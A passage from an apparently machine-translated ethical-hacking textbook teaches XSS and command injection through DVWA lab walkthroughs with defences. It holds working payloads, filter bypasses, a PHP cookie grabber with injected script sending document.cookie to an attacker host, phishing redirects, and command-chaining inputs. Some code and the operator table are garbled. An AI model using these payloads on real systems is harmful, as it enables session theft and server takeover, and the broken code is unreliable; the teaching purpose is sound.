Despite their popularity, and if we want simplicity, there are many variables that can determine
the success and failure of an attack: among these we find the XSS Auditor, of the functions
integrated in the latest generation browsers able to mitigate the most common XSS attacks in
circulation. These tools are able to verify that no payload has been inserted within the
query-string, by implementing a control policy through a blacklist of characters and tags.
Although they are not perfect tools, nor are they standardized, they are an effective
countermeasure against mild XSS-type attacks. Therefore, keep in mind that the chapter about
XSS is informative (especially about LAB tests) but it does not mean that they are useless, quite
the contrary.
8.1.1 Types of XSS attacks

XSS-type attacks open up a whole new world in the vast universe of Web Security; in fact they
are as dangerous on their own as they are devastating in support of even more serious
vulnerabilities (see Cross-Site Request Forgery, chapter 7.3).
The inputs that are inserted can be made only once or stored in files or databases; this
depends a lot on where the vulnerability is detected and the type of attack we are going to
carry out also follows from it.
- Stored XSS: stored XSS are stored in a database or file. This is usually caused by a
vulnerability it allows
to inject HTML or Javascript code which will then be saved and subsequently retrieved by
the web app (for example the signature in a forum, a chat or or a guestbook). To make the
victim fall into the trap, simply redirect them to the violated page.
- Reflected XSS: Reflected vulnerabilities are common to be found in different dynamic

environments such as error pages, search pages and any other page in which information is
manipulated but not stored. To make the victim fall into the trap it will be necessary to make
him click on an attached link (for example in a unamail) if this is of the HTTP GET type,
otherwise convey it to a page capable of generating an HTTP POST request, exposing
however in the source code or in the query-string the vulnerability. Unlike a CSRF attack, the
HTTP request alone is not enough as it is the browser that has to interpret the malicious
code.
- DOM Based XSS: DOM based attacks exploit the DOM elements present in the client rather
than on the server; we will talk about this vulnerability when we have delved into the first two.
8.1.1.1 STORED XSS

The Stored XSS vulnerability exploits uncontrolled input, then stores it and recalls it whenever
necessary. Let's consider the following sample code [Code 8.1].
Code 8.1
<? php
if (isset ( $ _GET [ 'signature' ]) {
$ signature_user = $ _GET [ 'signature' ];
// Here a query that saves the value inside a DB
}
// Here a query that retrieves the signature inside the $ row variable
echo $ row [ "signature" ];
?>
The user will get the following URL:

http://example.com/save.php?signature=Hello
The "Hello" value, if present (isset), will be saved in the $ signature_user variable, then a query
will be created that will save the value in the database (QUERY UPDATE). After the condition,
a query will be created that will retrieve the value from the database (QUERY SELECT), then
the "Hello" value will be retrieved and printed on the screen.
The vulnerability is given by a non-sanitization of the input (more in chapter 8.2.1) and, as
such, will permanently cause the execution of a harmful value, therefore
http://example.com/save.php?signature= <script> alert (1) </script>
Anyone who reloads the page will receive the script execution [Figure 8.1].
Figure 8.1: The XSS is present in the HTTP GET request, so it is saved in the database
8.1.1.2 REFLECTED XSS

The Stored XSS vulnerability exploits uncontrolled input, then stores it and recalls it whenever
necessary. Let's consider the following example code [Code 8.2]:
Code 8.2
<? php
if (isset ( $ _GET [ 'keyword' ]) {
$ query = $ _GET [ 'keyword' ];
// Do something, but don't find the result
echo "
<h1> I'm sorry but I couldn't find anything with the term: <span> "</span>" ;
?>
The user will get the following URL:

http://example.com/search.php?keyword=Hello
The value, unlike the example seen above, is not saved but is only printed (usually when the
page does not find the result) [Figure 8.2].
Figure 8.2: the value in query-string is shown in the HTML code
Exactly as seen above, by inserting HTML or Javascript code inside the query-string, it will
process it as if it were legitimate code [Figure 8.3]:
http://example.com/search.php?keyword=
<script> document.write ("HELLO!") </script>
The difference will be that, in order to generate the XSS, the relative HTTP request (GET in this
case) must be made every time.
Figure 8.3: the attached script (document.write) will print only on screen. Nothing serious, at least
currently...
8.1.1.3 DOM BASED XSS

Until now we have seen some situations of attacks based on HTTP requests: in fact, the HTTP
request is processed by the web server, it takes the input and transforms it into malicious code.
This "limit" in Web design has been solved thanks to client-side programming: a language like
Javascript, in fact, allows you to modify the web page dynamically without having to create new
HTTP requests (or at least, not always).
The vulnerability in this case occurs when the payload is executed by modifying the DOM
(Document Object Model) thus allowing the modification of the HTML and XML components. In
this case, the client (or rather the client language) is responsible for the vulnerability, not the
server.
Let's see the following HTML + Javascript code 135 [ Code 8.3]:
Code 8.3
Select your language:

<select>
<script> document.write ("
<OPTION value = 1 > "+
decodeURI (document.location.href.substring (document.location.href.indexOf ("default ="))
+ 8)) + " </OPTION> ");
document.write (" <OPTION
value = 2 > English </OPTION> ");
</script>
</select>
The page will be evoked with the following URL:

http://example.com/page.html?default=Italian
The code we have just seen processes the "Italian" value from the query-string and inserts it
inside an <option> tag, so as to compose the <select> list in which the user can go to collect a
value [Figure 8.4].
Figure 8.4: from the query-string we recover the default value, then we print it on the
browser
You already know where this is headed, right? [Figure 8.5]
http://example.com/page.html?default= <script> alert ("BINGO!") </script>

Figure 8.5: The Dom Based XSS attack was a success!
As for the other two types of attacks, we must not limit ourselves only to HTTP GET requests
or, in this case, to the values present in the query-string: it could very well come in the form of
a function that is called every time we write something inside an input [Figure 8.6], but by
manipulating it we can "play" with the browser render [Figure 8.7] [Code 8.4]:
Code 8.4
You wrote: <strong id = "yourtext" > </strong> <hr />
Type something: <input id = "yourinput" type = "text"

onkeyup = "copyFunction ()" style = "width: 500px" >
<script>
function copyFunction () {
var yourinput =
document .getElementById ( 'yourinput' );
var yourtext =
document .getElementById ( 'yourtext' );
yourtext.innerHTML = yourinput.value;
}
</script>
Figure 8.6: the script replicates the value of the input "yourinput" in the strong tag "yourtext"
Figure 8.7: a simple Javascript script that replicates the value of one input into another. Here is
been bypassed allowing HTML code.
Also in this case it is possible to manipulate the Browser DOM, without going through the
query-string.
8.1.2 LAB: Stored Cross-Site Scripting
The purpose of this LAB is to exploit an XSS vulnerability, by injecting code into a database
used by the script as a place to store user comments (the famous Guestbooks). The
vulnerability will be saved in the database, so it will not be necessary to re-inject the code but
just reload the page. At the end of each "level" you are asked to reset the Guestbook to avoid
false positives ("Clear Guestbook" button).
Attack: Stored XSS " Low "
Victim simulation
The attack involves inserting a malicious input (Javascript code) into the textarea [Figure 8.8];
from the car striker
Let's connect to the XSS (Stored) page and compile as follows:
Name: any text
Message: <script> alert (1) </script>
If the attack was successful by reloading the page we will always receive the alert with the value 1
indicated [Figure 8.9].
Figure 8.8: we sign the Guestbook by inserting Javascript code
Figure 8.9: reloading the page will always check the 1, this is because the message is saved
in the database and is always recovered
The attack is made possible as there is no sanitization of the input that blocks what we have
written. From the car victim we can see the offending portion of the code; in particular, lines 5
and 6 collect the inputs. There are other functions in the code but they are not sufficient to
make the input fire [Code Listing 8.5].
Code 8.5
<? php
if (isset ( $ _POST [ 'btnSign' ])) {
// Get input
$ message = trim ( $ _POST [ 'mtxMessage' ]);
$ name = trim ( $ _POST [ 'txtName' ]);
// Sanitize message input

$ message = stripslashes ( $ message );
...
http: //victim/vuln/vulnerabilities/view_source_all.php? id = xss_s
Attack: Stored XSS " Medium "

Victim simulation
In this difficulty, a check was applied on the "Message" textarea (from lines 8 to 10) which
removes any tag from our comment; the same, however, was not done for the "Name" field,
the one where we had written our name [Code 8.6].
Code 8.6
<? php
$ message = strip_tags ( addslashes ( $ message ));
...
$ message = htmlspecialchars ( $ message );
// Sanitize name input
$ name = str_replace ( '<script>' , '' , $ name );
...
We would think that it is enough to insert the javascript code inside the input "Name", too bad
that we are not allowed to insert more than 10 characters; moreover, as we see from line 14
(str_replace) all the "<script>" strings are emptied.
Let's tackle the problems one at a time: the 10 character limit, from the machine
attacker , we can verify it through Analyze Item ( right click on
Input, therefore Analyze Item). The portion of HTML code concerned will look like this [Code
8.7].
Code 8.7
<input name = "txtName" size = "30" maxlength = "10"

type = "text" >
It is precisely maxlength that forbids us to exceed 10 characters: unfortunately (or luckily, it

depends on your point of view) the HTML code is editable as it is a client language and, as
such, it cannot force us to use this limit. So we just need to double-click on the value and
change it to a higher value, for example "255" [Figure 8.10].
Figure 8.10: The maxlength attribute on the HTML tag prohibits us from exceeding 10 characters
Regarding the problem of the "<script>" tag we can also recall the legacy tag <script type = "text
/ javascript ..."; the code, in fact, blocks the attempts that call only the "<script>" tag, letting
instead flow variants with spaces and other characters. Something like [Code 8.8] [Figure 8.11]:
Code 8.8
<script type = "text / javascript" > alert ( document .cookie)

</script>
In this example we wanted to print the cookies on the page, so as to demonstrate that there is
potential in this vulnerability [Figure 8.12].
Figure 8.11: we modify the maximum length, so that we can write much more text
Figure 8.12: the attack is complete, the cookies have been displayed on the screen!
Attack: Stored XSS " High "

Victim simulation
Here we find both the 10-character limit (always bypassable with the previous method) and a
check on the script tag: this time, however, a regex was used, which means that any variant
that includes the <script> tag (including the bypass seen before) cannot work. The responsible
part of code is present on line 14 (the preg_replace function) [Code 8.9].
Code 8.9
<? php
if (isset ( $ _POST [ 'btnSign' ])) {

// Get input
$ message = trim ( $ _POST [ 'mtxMessage' ]);
$ name = trim ( $ _POST [ 'txtName' ]);

$ message = strip_tags ( addslashes ( $ message ));
...
$ name = preg_replace ('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '',
However, Javascript functions can also be evoked by inline HTML code, for example by calling
an HTML tag (eg: <svg>) and loading a JS function, such as:
<svg onload = "alert (document.cookie)">
In this example we wanted to print the cookies of the page [Figure

8.14], so as to demonstrate that there is potential in this vulnerability (remember to set the
maxlength to a higher value) [Figure 8.13].
Figure 8.13: we modify the maximum length, so that we can write much more text
Figure 8.14: the attack is complete, the cookies have been displayed on the screen!
Payload: Cookie Grabbing & Manipulation
DVWA simulation
The purpose of this exercise is to steal the user's cookies and then copy them to our browser
and authenticate us with your data. As you will remember, the user session is created after
authentication, so the data will be saved in the user browser to remind the server which user
we are. In this test we will use DVWA at the "Low" level.
The "Stored XSS" page allows us to inject various types of code including Javascript. As we
have seen the variable document.cookie saves the values of the user's cookies, so if we
insert the following code in the textbox of the message:
We will be able to print cookies. Is there a way to send them? Obvious that.
For this purpose we will need to simulate another website we have (which we may have
infected) ... for example using
metasploitable ! From the car attacker so let's connect in SSH 136 to her:
$ ssh msfadmin@20.0.0.4
The authenticity of host '20 .0.0.4 (20.0.0.4) 'can't be established.
RSA key fingerprint is

SHA256: BQHm5EoHX9GCiOLuVscegPXLQOsuPs + E9d / rrJB84rk.
Are you sure you want to continue connecting (yes / no)? yes
Warning: Permanently added '20 .0.0.4 '(RSA) to the list of known hosts.
msfadmin@20.0.0.4 's password: msfadmin
Linux metasploitable 2.6.24-16-server # 1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
...
Last login: Mon Aug 6 10:01:39 2018

Inside we will now create a very simple PHP page that will have to:
1) Retrieve cookies from GET
2) Save them in a file on the server
But first let's create the cookies.txt file ( touch) which will contain the cookies and set the
maximum permissions ( chmod). In this environment we will work as root users ( sudo):
$ sudo -s
$ touch /var/www/cookies.txt | chmod 777 /var/www/cookies.txt
As you will remember with the cd command we can move between folders, then we will go to the
web server directory to be able to work with more comfort:
$ cd / var / www
As you may have noticed, unlike Debian, Metasploitable does not use the / html subdirectory,
however the result will not change!
Let's now proceed to create the cookies.php file where we will insert our grabber:
$ nano cookies.php
then inside it we will insert the following PHP code [Code 8.10]:
Code 8.10
<? php
// If the cookie exists
if (isset ( $ _GET [ 'cookie' ]))
{
// Create the $ username and $ password variables
$ cookie_var = $ _GET [ 'cookie' ];
// Open the cookies.txt file
$ cookiefile = fopen ( "cookies.txt" , "to" );
// Add the new data found in the cookies.txt file

$ txt = $ cookie_var . ";" ;
fwrite ( $ logfile , "\ n" . $ txt );
// Close the file
fclose ( $ logfile );
}
?>
Now let's open our browser and navigate to the Stored XSS page (Low level for convenience):
http: // victim / vuln / vulnerabilities / xss_s /
With Inspect Element we modify the text area of the message, so as to be able to add more
than 50 characters, then paste the following Javascript code [Figure 8.15] [Code 8.11]:
Code 8.11
<script>
var i = document .createElement ( "img" );
i.src = "http://20.0.0.4/cookie.php?cookie=" +
document .cookie;
</script>
Figure 8.15: we modify the maxlength of the textarea before adding the code
Do you know what will happen? The Javascript script we just entered
will create an img (image) element that will point to the following URL:
"http://20.0.0.4/cookie.php?cookie=" + document.cookie;
where document.cookie will be replaced by our cookies, so it will become something like:
http://20.0.0.4/cookie.php?cookie=security=low;
PHPSESSID = meqhomrtakrev190f6kfadjf05
Since the cookie.php file will save all the elements present in the query-string, we return to the
session metasploitable in SSH and launch:
$ tail cookies.txt
security = low; PHPSESSID = meqhomrtakrev190f6kfadjf05;
From now on, when someone visits the page, we will get their cookies. What to do with it?
Simple, we will reuse them in our browser!
For example, we can try to make HTTP requests using Burp Suite (this manual is full of
examples about it) using the following cookies or through browser extensions such as
EditThisCookie 137 ,
Cookie Manager 138 and many others. The possibilities that this attack offers are endless, enjoy
switching browsers, DVWA levels and variables to switch between pages.
Defence: Stored XSS
Victim simulation
The proposed solution is to filter all HTML characters. It is the htmlspecialchars () function 139 to
convert all special characters, rendering them harmless [Code 8.12].
Code 8.12
<? php
$ message = stripslashes ( $ message );

$ message = ...
$ name = stripslashes ( $ name );

$ name = ...
$ name = htmlspecialchars ( $ name );
8.1.3 LAB: Reflected Cross-Site Scripting

The purpose of this LAB is to exploit an XSS vulnerability by injecting code into an input. The
page will process the result and display the value on the screen. The information is volatile and
will not be stored in any database.
Attack: Reflected XSS " Low "
Victim simulation
The attack involves inserting a malicious input (Javascript code) into the textarea; from the car attacker
let's connect to the XSS (Reflected) page and fill in as follows:
If the attack was successful we will receive on-screen cookies stored in the browser [Figure
8.16].
Figure 8.16: the attack looks exactly like the previous one
A URL will then be generated, which can be sent to the victim:

http: // victim / vuln / vulnerabilities / xss_r /?
name =% 3Cscript% 3Ealert% 28document.cookie% 29% 3C% 2Fscript% 3E #
This attack level is very similar to what was seen in the Stored XSS "Low"; from the car victim we
see in fact that no checks are applied to the variable passed in query-string (line 8) but only a
check is made if a value exists (line 6) [Code 8.13].
Code 8.13
<? php
header ( "X-XSS-Protection: 0" );
// Is there any input?
if ( array_key_exists ( "name" , $ _GET ) && $ _GET [ 'name' ]! =

// Feedback for end user
echo '<pre> Hello' . $ _GET [ 'name' ]. '</pre>' ;
}
?>
http: //victim/vuln/vulnerabilities/view_source_all.php? id = xss_r

Attack: Reflected XSS " Medium "
Victim simulation
The attack follows what has already been seen in Stored XSS "Medium". The code replaces all
"<script>" strings with an empty value. From the car
victim we can find in line 8 the function that replaces the string (str_replace) [Code 8.14].
Code 8.14
<? php
if ( array_key_exists ( "name" , $ _GET ) && $ _GET [ 'name' ]! = NULL ) {
// Get input
$ name = str_replace ( '<script>' , '' , $ _GET [ 'name' ]);

echo "<pre> Hello $ {name} </pre>" ;
}
?>
The bypass can include a variant of the <script> tag, for example by adding a space before
closing (<script>) or calling it from legacy:
<script type = "text / javascript">
From the car attacker we will then insert the complete script inside the input [Figure 8.17]:
<script type = "text / javascript"> alert (document.cookie) </script>
A URL will be generated, which sent to the victim will cause the
payload:
http: // victim / vuln / vulnerabilities / xss_r /?
name =% 3Cscript + type% 3D% 22text% 2Fjavascript% 22% 3Ealert% 28document.cookie% 29% 3C% 2Fscript% 3E #
Figure 8.17: The vulnerability is very similar to what we saw in Stored XSS (Medium)
Attack: Reflected XSS " High "

Victim simulation
The attack follows what has already been seen in Stored XSS "High". The code can identify
any call to the <script> tag, including variants. From the car victim we can find on line 8 the
function that replaces any character with regex (preg_replace) [Code Listing 8.15].
Code 8.15
<? php
// Get input
$ name = preg_replace ( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'

}
?>
The approach is identical to the Stored XSS "High" version. We just need to call another HTML
tag (for example <svg>) and call an inline javascript function. Such a thing will do just fine:
From the car attacker let's enter the value in the input so as to obtain the cookies on the screen
[Figure 8.18]. The link generated will be the following:
http: // victim / vuln / vulnerabilities / xss_r /? name = <svg
onload = "alert (document.cookie)">
Figure 8.18: we recall another HTML tag, we can still evoke some JS code
Payload: XSS Redirect

DVWA simulation
The purpose of this exercise is to perform a simple Redirect to another web page. Not being
stored on the server, it will not be a deface to all effects (chapter 12.6) but can be used as a
technique on which to base a Phishing attack. The technique will be demonstrated on the
Reflected XSS page on DWVA Low level.
Having in our hands the possibility of injecting Javascript code we can perform a redirect with
the following code injected into the URL:
http: // victim / vuln / vulnerabilities / xss_r /? name =
<script> window.location.href = "http://example.com" </script> #
Here are some examples of code always in Javascript, to replace the highlighted variable:
<script> location.href = "http://example.com" </script>

or
<script> window.location.replace ("http://example.com") </script>
or its variant in jQuery 140 :

<script> $ (location) .attr ('href', 'http: //example.com); </script>
it is also possible to redirect to HTML, if the victim is supposed to block the Javascript code:
http: // victim / vuln / vulnerabilities / xss_r /? name = <meta http- equiv = "refresh" content = "0; URL =
http: //example.com"> #
Defence: Reflected XSS
DVWA simulation
The proposed solution is to filter all HTML characters. It is the htmlspecialchars () function 141 to
convert all special characters, effectively rendering them harmless [Code 8.16].
Code 8.16
<? php
// Check Anti-CSRF token ...
// Get input
$ name = htmlspecialchars ( $ _GET [ 'name' ]);

}
// Generate Anti-CSRF token ...
?>
8.1.4 LAB: DOM Based Cross-Site Scripting

The purpose of this LAB is to exploit a DOM Based XSS vulnerability, by passing a Javascript
code in the query-string that will be subsequently processed by a JS script on the page. The
attack, this time, is not processed by the web server but by the client.
Attack: DOM Based XSS " Low "
Victim simulation
From the car attacker we access the XSS module (DOM). The page initially generated by
DVWA looks like this:
http: // victim / vuln / vulnerabilities / xss_d /
By clicking for the first time on " Select " we will notice how the parameter in URL will be added in
query-string [Figure 8.19]:
http: // victim / vuln / vulnerabilities / xss_d /? default = English
Figure 8.19: in query-string the default variable is assigned the value "English"
The script on the page replicates the value present in the query-string, inserting it in the
drop-down menu (<select>). So just change the "English" value with the Javascript code, as in
the following example [Figure 8.20]:
http: // victim / vuln / vulnerabilities / xss_d /? default =

Figure 8.20: there are no filters on the entered values, you can inject anything into the
Browser
Attack: DOM Based XSS " Medium "

Victim simulation
In this level the defensive approach is slightly more complex: in practice, if there is any
reference to the string "<script", the page will redirect us to the original one. Unlike what we
saw in Reflected and Stored, we cannot bypass the control simply with "<script type =" text /
javascript ... ", nor use variants such as" <sCriPt "as the block function (stripos) is
case-insensitive type victim we find the source code responsible for this block from line 8 to
line 11 [Code 8.17].
Code 8.16
<? php
if ( array_key_exists ( "default" , $ _GET ) &&! is_null ( $ _GET [ 'default' ])) {
$ default = $ _GET [ 'default' ];
// Do not allow script tags

if ( stripos ( $ default , "<script" )! == false ) {
header ( "location:? default = English" );
exit;
}
}
?>
http: //victim/vuln/vulnerabilities/view_source_all.php? id = xss_d
As we have already seen we can bypass any control to the <script> tag by using an HTML
element and calling a Javascript event inline, as with the following code:
Entering it this time however will not be redirected; the reason is that it is not possible to insert
HTML tags inside an <option>. Just to be as clear as possible, this is an HTML example of a
drop-down menu [Code 8.17]:
Code 8.17
<select>
<option value = "1" > HERE THE VALUE </option> </select>
Instead of "QUI IL VALORE" it is not possible to insert HTML code: what can we do? Simple,
we rebuild the next part, so before invoking the malicious HTML tag you will need to close the
option and select tags. Our "payload" will be composed as follows [Figure 8.21]:
</option> </select> <svg onload = "alert (document.cookie)">
From the car attacker let's insert it in the query-string, thus obtaining the following URL:
http: // victim / vuln / vulnerabilities / xss_d /? default = </option> </select> <svg onload = "alert
(document.cookie)">
Figure 8.21: before we can evoke the script in Javascript we will have to close the menu a
waterfall, then we can summon the JS code
Attack: DOM Based XSS " High "

Victim simulation
At this level there would seem to be no way out; this is what many web programmers think,
through the "whitelist" approach. In practice, the usable languages are defined (English,
French, Spanish etc ...) and whatever is written causes the program to exit. The most common
approach is that of the switch / case, a particular condition common to many programming
languages. From the car victim we can see the code responsible for this defense (line 7 to line
17) [Code 8.18].
Code 8.18
<? php
if ( array_key_exists ( "default" , $ _GET ) &&! is_null ( $ _GET
// White list the allowable languages
switch ( $ _GET [ 'default' ]) {
houses "French" :
houses "English" :
houses "German" :
houses "Spanish" :
// ok
break;
default:
header ( "location:? default = English" );
exit;
}
}
?>
http: //victim/vuln/vulnerabilities/view_source_all.php? id = xss_d
The bypass approach in this case requires a good knowledge of programming, but above all,
of what a web server can do and not do: it is true, it can read the url, but it cannot read a
portion of the URL. The W3C specification suggests that given the structure of a URL like the
following:
http://example.com/page.php?id=X&pw=Y#test
The next part included in "#test" is not processed by the web server as it is reserved for
processing in the client (for example as anchor links in HTML, JS variables and such like).
Reading the web server will therefore stop at the hash (#), leaving the next part to the client
language.
With the above example at hand, the client will see this:
http://example.com/page.php?id=X&pw=Y#test
But the web server will see this

http://example.com/page.php?id=X&pw=Y
We can therefore bypass the check on the URL of the XSS DOM Based test, indicating from the
machine attacker the following URL:
http: // victim / vuln / vulnerabilities / xss_d /? default = English # <script> alert (document.cookie) </script>
In this case the web server side will only read the "English" value (present in the switch control)
while the client side will process the rest [Figure 8.22].
NB: making changes after the hash, it will be necessary to force the loading of the page from
the "Reload" button of the browser; this happens because the HTTP request does not actually
change, so the server may refuse to regenerate it with a simple CTRL + R.
Figure 8.22: the bypass was successful!
Defence: DOM Based XSS

Victim simulation
Newer browsers tend to convert some special characters (unsafe ASCII characters such as "<"
or "") to their hexadecimal variant, followed by the percent symbol (%). Among the best
practices of web programmers, to overcome this type of vulnerability is to avoid character
decoding: in particular, all examples of vulnerabilities use the decoreURI () function in
Javascript, which converts hexadecimal characters into
real characters (and therefore rendered by the browser). The following example is the code
used in the "Impossible" level of DVWA: the variable lang is extracted directly from the
browser, without being decoded [Code
8.19]:
Code 8.19
if (document.location.href.indexOf ("default =")> = 0) {var lang =
document.location.href.substring (document.location.href.indexOf ("default =") + 8); document.write ("
<option value = '"+ lang +"' > "+ (lang) +" </option>
");
...
If you try to insert HTML or JS characters they will be converted to HEX, making it impossible
to evade the code [Figure 8.23].
Figure 8.23: Needless to insert any HTML tags, unsafe ASCII characters will come
converted back to HEX
8.2 Command Execution

Many sites, or web apps in general, rely on system commands to ensure the functioning of
some features present in it: if an attacker managed to circumvent the command, for example
"connecting" to the original command and generating another one, he would between
hands access to the machine!
Let me explain: we have an input capable of processing an IP address. We, as users, enter the
IP address and the web app will perform an operation with it, for example ping it and verify that
the host is reachable from the web server. The last action, that of ping, will probably be carried
out by a tool integrated into the web server (ping, in fact) which will be evoked by the web app
and then show the result to the user.
The entered input will then generate a terminal command, such as the following:
$ ping [USER_INPUT]
If the user just typed "10.0.0.2" they would probably get the result of that ping. The "only if",
unfortunately, is not contemplated in the software design, and therefore an attacker could write
"10.0.0.2 + commands to execute" and cause real disasters.
Such disasters would be proportionate to the infrastructure of the server where the web app is
hosted: in fact, you must know that every web app, in order to function, needs a user to "host" it.
Some best practices in server administration would be able to limit the damage only in the
space where the web app is hosted but, if you were to continue along this path, you would
understand how wrong it is to believe in these tales!
Returning to us: why does this happen? What causes this kind of flaw? The answer is:
sanitizing the input.
8.2.1 Sanitizing the Input
Let's bother with the PHP programming language, which is essential for understanding how
this happens [Code 8.20]:
Code 8.20
<? php
if (isset ( $ _GET [ 'ip' ])) {

$ ipvalue = $ _GET [ 'ipvalue' ];
$ ping_result = system ( "ping {$ domain}" ); echo ( $ ping_result );
}
?>
The operation of this short code is relatively simple: first of all it assumes that an input is
provided through the query-string (for example: page.php? Ip = 10.0.0.2) then, if after? Ip = it
finds a value (10.0 .0.2), save it inside a variable ($ ipvalue), execute the command (ping
10.0.0.2), save the result ($ ping_result) and print it (echo).
As we can see, whatever the value after? Ip = is processed (be it an IP address but also a text,
an email, a special character or whatever comes into your head) including an operator!
What is an operator? If you have had experience with the UNIX terminal you will know that you can
invoke multiple commands at the same time from the same command line. Let's see them together.
Operator Function
; At least one of the two commands must be valid. At least one
& of the two commands must be valid
&& Both commands must be valid, otherwise nothing will be executed
| At least one of the two commands must be valid
|| Both commands must be valid, otherwise nothing will be executed
So, if in the aforementioned application we indicate not only an IP address

but also the operator and the next command, the result would be:
$ ping 10.0.0.2 && echo "HACKED"
64 bytes from 10.0.0.2: icmp_seq = 0 ttl = 64 time = 0.055 ms 64 bytes from 10.0.0.2: icmp_seq = 1
ttl = 64 time = 0.075 ms 64 bytes from 10.0.0.2: icmp_seq = 2 ttl = 64 time = 0.074 ms
- - - 10.0.0.2 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss round-trip min / avg / max / stddev = 0.055 /
0.068 / 0.075 / 0.009 ms "HACKED"
8.2.2 Performing a non-input

To explain to a layman the extent of this vulnerability it is necessary for me to invent a term:
“non-input”. As we have seen, Remote Command Execution consists of incorrect processing of
the input, a value that the user enters. But what if this input was not voluntarily entered by the
user?
Let me explain: let's imagine for a moment a simple web app that has to process a variable in
our browser, for example the User-Agent 142 .
The user is unknowingly sending values to the web and the latter processes them and
generates new results, however the same does not know that the user may have manipulated
the User-Agent, putting in his malicious code. Let's see an example [Code 8.21]:
Code 8.21
<? php
$ useragent = $ _SERVER [ 'HTTP_USER_AGENT' ];
$ uaresult = system ( "echo {$ useragent}" ); echo ( $ uaresult );
?>
Also in this case it is possible to inject code.
Although this technique will not be developed in our LAB, it is

It is important to remember that not only visible inputs are risky.
8.2.3 Remote Command Execution

If the web app were to allow the execution of commands on the server (remotely, for this
reason the vulnerability is called Remote Command Execution) the damage that could follow
would be catastrophic. As mentioned, these would depend primarily on the permissions that
the user of the web app has; some examples below will clarify the "damage" that can be
caused:
Command Result
$ cat / etc / passwd It allows you to enumerate all the users visible on the server. It allows you to
$ ifconfig or ip a show the network configuration of the server
$ ls Allows you to list the contents of a folder; in web hosts, it allows you to
see what other websites are coming from
hosted
$ whoami It lets you know which user is using the web app
on the server
$ uname -r Allows you to see the distribution in use
$ pwd It allows you to see which path you are in on the system
$ wget Allows you to download any file from the WWW (for example
a shell to take control of the server)
$ cp or mv or rm It allows you to operate with the files present, eliminating entire ones
websites (with the -r parameter) etc ...
Obviously this is just a small example, basically the attack allows you to execute any command
(exactly as if it were a remote SSH or Telnet connection) on the victim server, with all the limits
and potential of the case.
8.2.3.1 LAB: REMOTE COMMAND EXECUTION

In this LAB we will deal with making the web server execute commands through a script that
pings a machine, then releases its output: the form - represented by an input that can be filled
in by the user - is passed to a script that will execute the "ping" tool on the victim machine. We
will consider the LAB valid when we are able to make the machine execute commands, for
example by printing the values of the network interface (via ip
to).
Attack: Command Execution " Low "
Victim simulation
The "low" level of the test does not provide for any control over the input: a simple condition is
concerned with verifying the type of Operating System, then using the appropriate function.
From the car attacker go to the "Command Injection" page, then perform any test specifying an
IP [Figure 8.24].
Figure 8.24: the result shows an output, the same that we would get by running the command
"ping 20.0.0.2" from the victim machine.
We can obtain the same result by indicating the following command from the victim machine
[Figure 8.25]:
$ ping 20.0.0.2
Where 20.0.0.2 will be the IP of the attacker machine.
Figure 8.25: the result of the web app is the same as the CLI. Ready to run the server?
According to the UNIX chaining principle we can "hang" a new command. For example, if we
wanted to use the "&" character, followed by the "ip a" command, the result will show us both
the ping and the network interfaces [Figure 8.26].
Figure 8.26: we concatenate the two commands with ampersand (&)
Attack: Command Execution " Medium "

Victim simulation
An incomplete sanitization is performed at this security level, defining the characters && and;
with empty characters, from line 8 to line 10, then with the str_replace function (line 14) the
replacement is performed. The attack is however possible through other operators not defined
by the blacklist (for example & or |) [Code 8.22].
Code 8.22
<? php
if (isset ( $ _POST [ 'Submit' ])) {

// Get input
$ target = $ _REQUEST [ 'ip' ];
// Set blacklist
$ substitutions = array (
'&&' => '' ,
';' => '' ,
);
// Remove any of the charactars in the array (blacklist)

$ target = str_replace ( array_keys ( $ substitutions ), $ substitutions
...
http: //victim/vuln/vulnerabilities/view_source_all.php? id = exec
Bypass can still take place via other characters, for example:
20.0.0.2 & ip a
20.0.0.2 | ip a
Attack: Command Execution " High "

DVWA simulation
The security level provides for a total sanitization of the characters at risk, with the exception of
the single pipe ("|"). The programmer's mistake here was to leave a space in line 11 [Code
8.23].
Code 8.23
<? php

// Get input
$ target = trim ( $ _REQUEST [ 'ip' ]);
// Set blacklist
$ substitutions = array (
'&' => '' ,
';' => '' ,
'| ' => '' ,
'-' => '' ,
'$' => '' ,
'(' => '' ,
')' => '' ,
'`` => '' ,
'||' => '' ,
);
The solution, in this case, is to use the only working "format", namely the variant with a pipe
character (|) without spaces:
20.0.0.2 | ip a
This is a classic case of "distraction": in real life we will hardly face these situations (rather all
characters would have had spaces) and as such we will consider it the classic human error.
Can you think of what damage can be done with such permits? If the answer is no continue
with the reading, in the next chapters we will see how to connect through a Shell and take
remote control of the machine!
Defence: Command Execution
Victim simulation
The defense approach does not provide for a blacklisting of characters (as you might think) but
a whitelisting approach: the web app is concerned with verifying that the four groups of
numbers, separated by the dot (.) Character, are actually numbers. Otherwise, the script will
refuse to continue. In this case it is not possible for us to enter any other characters except an
IPv4 address [Code 8.24].
Code 8.24
<? php

// Get input
$ target = $ _REQUEST [ 'ip' ];
$ target = stripslashes ( $ target );
// Split the IP into 4 octects

$ octet = explode ( "." , $ target );
// Check IF each octet is an integer

if (( is_numeric ( $ octet [ 0 ])) && ( is_numeric ( $ octet [ 1 ])) && (
// If all 4 octets are int's put the IP back together.

$ target = $ octet [ 0 ]. '.' . $ octet [ 1 ]. '.' . $ octet [ 2 ].
...
A defensive whitelisting approach therefore allows you to sanitize the input more precisely,
even without knowing the possible malicious inputs. In summary, good mitigation for this attack
consists
in:
Use only the server-side code for security: client side

you should always think about performance, never delegate security to the client (as much as it can
be manipulated).
Predict the inputs: if the user has to write a number, allow only the writing of numbers. If
he has to write mail, write a regex (or use a web template) to accept mail only.
Assign minor permissions for the web server: the user being used by the web server
it shouldn't access outside its control area, just as it should only access some specific
commands. It measures well the need to use functions capable of communicating with the
Operating System.
Either that or you die: if you are a programmer you know the existence of "if ... or die". If a
function returns an error, avoid communicating the reasons to the user, rather stay vague
with a message like "Sorry, your input is incorrect". In this way you will make the attack Blind 143
and much more difficult to perform.
8.3 SQL Injection

As you know, web apps make heavy use of Database: these containers are managed by the
DBMS, programs that offer tools for the functioning of all the storage logic.
As we explained in "The Fundamentals of the WWW" (page X), it is the SQL language that is
used to communicate with these databases: it is the architect of any operation, from the
collection to the modification of the data contained, of the structure, of the relationships and
much more.
The approach with the SQL language usually takes place through the language with which the
